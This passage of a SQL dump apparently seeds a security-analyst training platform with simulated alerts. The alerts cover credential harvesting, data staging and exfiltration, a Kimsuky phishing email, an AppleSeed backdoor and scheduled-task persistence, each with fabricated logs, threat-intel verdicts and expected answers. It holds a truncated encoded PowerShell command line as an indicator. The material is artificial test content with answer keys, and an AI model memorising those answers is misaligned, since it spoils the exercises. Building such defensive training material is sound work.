host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with APT attacks.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e3f1b2d8c9a2f1b3a5c6d7e8f9b0a1c2\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malware used in persistence mechanisms.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"COMPROMISED_USER\",\"is_critical\":false,\"osint_result\":{\"source\":\"user_activity\",\"verdict\":\"suspicious\",\"details\":\"User account activity indicates potential compromise.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.840Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-21T14:32:45Z\\\",\\\"event_type\\\":\\\"Registry Modification\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"modified_value\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\malicious_executable.exe\\\",\\\"user\\\":\\\"COMPROMISED_USER\\\",\\\"source_ip\\\":\\\"192.168.1.15\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"file_hash\\\":\\\"e3f1b2d8c9a2f1b3a5c6d7e8f9b0a1c2\\\",\\\"username\\\":\\\"admin_user\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.840Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-21T14:32:45Z\\\",\\\"event_type\\\":\\\"Registry Modification\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"modified_value\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\malicious_executable.exe\\\",\\\"user\\\":\\\"COMPROMISED_USER\\\",\\\"source_ip\\\":\\\"192.168.1.15\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"file_hash\\\":\\\"e3f1b2d8c9a2f1b3a5c6d7e8f9b0a1c2\\\",\\\"username\\\":\\\"admin_user\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.840Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-21T14:32:45Z\\\",\\\"event_type\\\":\\\"Registry Modification\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"modified_value\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\malicious_executable.exe\\\",\\\"user\\\":\\\"COMPROMISED_USER\\\",\\\"source_ip\\\":\\\"192.168.1.15\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"file_hash\\\":\\\"e3f1b2d8c9a2f1b3a5c6d7e8f9b0a1c2\\\",\\\"username\\\":\\\"admin_user\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.840Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-21T14:32:45Z\\\",\\\"event_type\\\":\\\"Registry Modification\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"modified_value\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\malicious_executable.exe\\\",\\\"user\\\":\\\"COMPROMISED_USER\\\",\\\"source_ip\\\":\\\"192.168.1.15\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"file_hash\\\":\\\"e3f1b2d8c9a2f1b3a5c6d7e8f9b0a1c2\\\",\\\"username\\\":\\\"admin_user\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.840Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-21T14:32:45Z\\\",\\\"event_type\\\":\\\"Registry Modification\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"modified_value\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\malicious_executable.exe\\\",\\\"user\\\":\\\"COMPROMISED_USER\\\",\\\"source_ip\\\":\\\"192.168.1.15\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"file_hash\\\":\\\"e3f1b2d8c9a2f1b3a5c6d7e8f9b0a1c2\\\",\\\"username\\\":\\\"admin_user\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1343, 'Credential Harvesting Detected', 'high', 'Network Traffic Analysis', 'Using harvested credentials, the attacker attempts to move laterally across the network to identify valuable targets. The activity was detected through unusual network traffic patterns originating from an internal system.', 'Lateral Movement', 'T1078: Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-04T14:32:00Z\",\"source_ip\":\"192.168.1.45\",\"destination_ip\":\"10.0.0.15\",\"internal_ip\":\"192.168.1.45\",\"external_ip\":\"203.0.113.5\",\"username\":\"jdoe\",\"action\":\"login_attempt\",\"status\":\"success\",\"file\":{\"name\":\"malicious_script.ps1\",\"hash\":\"f4d7c3b2a5e5d8e2c8b5a5f6c3d2b4a8\"},\"protocol\":\"RDP\",\"user_agent\":\"Mozilla/5.0\",\"event_id\":\"4624\",\"description\":\"Successful login using a potentially compromised account.\"}', '2026-03-01 22:57:36', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address involved in suspicious activity.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP address associated with credential harvesting.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"suspicious\",\"details\":\"User account potentially compromised.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"f4d7c3b2a5e5d8e2c8b5a5f6c3d2b4a8\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malicious PowerShell script.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1344, 'Data Staging for Exfiltration', 'high', 'File Integrity Monitoring', 'Valuable data from compromised systems is identified and staged for exfiltration, indicating an imminent data breach. The attacker has aggregated sensitive files in a directory for easy transfer.', 'Exfiltration', 'T1074: Data Staged', 1, 'new', NULL, '{\"timestamp\":\"2023-10-25T14:48:23Z\",\"event_id\":\"FIM202310251448\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.10\",\"username\":\"john.doe\",\"file_path\":\"C:\\\\Users\\\\john.doe\\\\Documents\\\\Sensitive\\\\staged_data.zip\",\"file_hash\":\"3a5f6c9e8b7d9ab2c3d4e5f6a7b8c9d0\",\"operation\":\"file_write\",\"status\":\"success\",\"comments\":\"Sensitive data staged for exfiltration detected.\"}', '2026-03-01 22:57:36', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intel Platform\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with previous exfiltration attempts.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Local user machine.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"john.doe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"Unusual activity detected associated with this user.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"C:\\\\Users\\\\john.doe\\\\Documents\\\\Sensitive\\\\staged_data.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Security\",\"verdict\":\"suspicious\",\"details\":\"File created as a staging point for data exfiltration.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"3a5f6c9e8b7d9ab2c3d4e5f6a7b8c9d0\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with malware used for data exfiltration.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.843Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:48:23Z\\\",\\\"event_id\\\":\\\"FIM202310251448\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"john.doe\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Users\\\\\\\\john.doe\\\\\\\\Documents\\\\\\\\Sensitive\\\\\\\\staged_data.zip\\\",\\\"file_hash\\\":\\\"3a5f6c9e8b7d9ab2c3d4e5f6a7b8c9d0\\\",\\\"operation\\\":\\\"file_write\\\",\\\"status\\\":\\\"success\\\",\\\"comments\\\":\\\"Sensitive data staged for exfiltration detected.\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.843Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:48:23Z\\\",\\\"event_id\\\":\\\"FIM202310251448\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"john.doe\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Users\\\\\\\\john.doe\\\\\\\\Documents\\\\\\\\Sensitive\\\\\\\\staged_data.zip\\\",\\\"file_hash\\\":\\\"3a5f6c9e8b7d9ab2c3d4e5f6a7b8c9d0\\\",\\\"operation\\\":\\\"file_write\\\",\\\"status\\\":\\\"success\\\",\\\"comments\\\":\\\"Sensitive data staged for exfiltration detected.\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.843Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:48:23Z\\\",\\\"event_id\\\":\\\"FIM202310251448\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"john.doe\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Users\\\\\\\\john.doe\\\\\\\\Documents\\\\\\\\Sensitive\\\\\\\\staged_data.zip\\\",\\\"file_hash\\\":\\\"3a5f6c9e8b7d9ab2c3d4e5f6a7b8c9d0\\\",\\\"operation\\\":\\\"file_write\\\",\\\"status\\\":\\\"success\\\",\\\"comments\\\":\\\"Sensitive data staged for exfiltration detected.\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.843Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:48:23Z\\\",\\\"event_id\\\":\\\"FIM202310251448\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"john.doe\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Users\\\\\\\\john.doe\\\\\\\\Documents\\\\\\\\Sensitive\\\\\\\\staged_data.zip\\\",\\\"file_hash\\\":\\\"3a5f6c9e8b7d9ab2c3d4e5f6a7b8c9d0\\\",\\\"operation\\\":\\\"file_write\\\",\\\"status\\\":\\\"success\\\",\\\"comments\\\":\\\"Sensitive data staged for exfiltration detected.\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.843Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:48:23Z\\\",\\\"event_id\\\":\\\"FIM202310251448\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"john.doe\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Users\\\\\\\\john.doe\\\\\\\\Documents\\\\\\\\Sensitive\\\\\\\\staged_data.zip\\\",\\\"file_hash\\\":\\\"3a5f6c9e8b7d9ab2c3d4e5f6a7b8c9d0\\\",\\\"operation\\\":\\\"file_write\\\",\\\"status\\\":\\\"success\\\",\\\"comments\\\":\\\"Sensitive data staged for exfiltration detected.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1345, 'Exfiltration of Sensitive Information', 'critical', 'Outbound Network Traffic Logs', 'The final step involves exfiltrating the harvested data to an external command and control server operated by Lyceum.', 'Exfiltration', 'T1041 - Exfiltration Over C2 Channel', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:22:01Z\",\"source_ip\":\"10.0.3.15\",\"destination_ip\":\"203.0.113.45\",\"destination_port\":443,\"protocol\":\"HTTPS\",\"filename\":\"confidential_data.zip\",\"hash\":\"d4c3b4f9a1b0e5d2c1f2e3a4b5c6d7e8\",\"user\":\"jdoe\",\"action\":\"ALLOW\",\"event_id\":\"EVT0001234567\",\"indicator\":\"Lyceum C2 Server\"}', '2026-03-01 22:57:36', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intel Platform\",\"verdict\":\"malicious\",\"details\":\"Known Lyceum C2 server\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d4c3b4f9a1b0e5d2c1f2e3a4b5c6d7e8\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Associated with data exfiltration activities\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"confidential_data.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal DLP System\",\"verdict\":\"suspicious\",\"details\":\"File name matched with sensitive data pattern\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"internal\",\"details\":\"Active directory user\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1346, 'Suspicious Email Detected', 'medium', 'Email Security Gateway', 'A seemingly benign email with a malicious attachment is flagged, marking the start of Kimsuky\'s attempt to infiltrate South Korean networks. The email contained a malicious Excel file attachment that was blocked by the email security system.', 'Phishing', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T09:23:45Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.25\",\"source_email\":\"sender@maliciousdomain.com\",\"destination_email\":\"victim@organization.kr\",\"subject\":\"Urgent: Please Review Attached Document\",\"attachment\":{\"filename\":\"Q3_Report.xlsm\",\"hash\":\"9e107d9d372bb6826bd81d3542a419d6\"},\"malware_detection\":{\"signature\":\"Kimsuky_Malware\",\"result\":\"Detected\"},\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\"}', '2026-03-01 23:01:17', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal user system.\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"sender@maliciousdomain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Email Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Email address linked to multiple phishing attempts.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"Q3_Report.xlsm\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Report\",\"verdict\":\"malicious\",\"details\":\"File contains macro-based malware.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"9e107d9d372bb6826bd81d3542a419d6\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash identified as Kimsuky malware variant.\"}}],\"recommended_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Suspicious Email Detected\",\"date\":\"2026-03-02T13:55:06.846Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1347, 'AppleSeed Backdoor Installation', 'high', 'Endpoint Detection and Response (EDR) System', 'The malware embedded in the attachment executes, leveraging the AppleSeed backdoor to establish a foothold within the network. An executable was detected running on the host system, which corresponds to known AppleSeed backdoor activity.', 'Malware Execution', 'T1203 - Exploitation for Client Execution', 1, 'new', NULL, '{\"timestamp\":\"2023-10-20T14:22:11Z\",\"event_id\":\"EDR-5054\",\"host_ip\":\"192.168.1.45\",\"host_name\":\"workstation-22\",\"user\":\"jdoe\",\"process_name\":\"apple_seed_installer.exe\",\"process_id\":\"4892\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.45\",\"file_path\":\"C:\\\\Users\\\\jdoe\\\\Downloads\\\\apple_seed_installer.exe\",\"signature\":\"AppleSeed Backdoor\"}', '2026-03-01 23:01:17', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset\",\"verdict\":\"internal\",\"details\":\"Internal network IP address.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with previous AppleSeed campaigns.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with AppleSeed malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"apple_seed_installer.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"EDR Analysis\",\"verdict\":\"malicious\",\"details\":\"Filename matches known AppleSeed backdoor installer.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1348, 'Persistence Mechanism Activated', 'medium', 'System Logs', 'The system has detected a scheduled task created by Kimsuky to maintain the persistence of the AppleSeed malware, ensuring continued access to the compromised system.', 'Persistence', 'T1053 - Scheduled Task/Job', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T13:45:23Z\",\"event_id\":\"4624\",\"user\":\"compromised_user\",\"source_ip\":\"192.168.1.105\",\"attacker_ip\":\"203.0.113.45\",\"scheduled_task_name\":\"AppleSeed_Update\",\"task_command\":\"C:\\\\Windows\\\\System32\\\\cmd.exe /c C:\\\\Users\\\\compromised_user\\\\AppData\\\\Local\\\\Temp\\\\AppleSeed.exe\",\"file_hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"status\":\"Task Created\"}', '2026-03-01 23:01:17', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"This IP is associated with known campaigns by Kimsuky.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to a known variant of AppleSeed malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"AppleSeed.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Executable associated with AppleSeed malware.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"suspicious\",\"details\":\"User account likely compromised to set up persistence.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.849Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T13:45:23Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"scheduled_task_name\\\":\\\"AppleSeed_Update\\\",\\\"task_command\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe /c C:\\\\\\\\Users\\\\\\\\compromised_user\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\AppleSeed.exe\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"status\\\":\\\"Task Created\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.849Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T13:45:23Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"scheduled_task_name\\\":\\\"AppleSeed_Update\\\",\\\"task_command\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe /c C:\\\\\\\\Users\\\\\\\\compromised_user\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\AppleSeed.exe\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"status\\\":\\\"Task Created\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.849Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 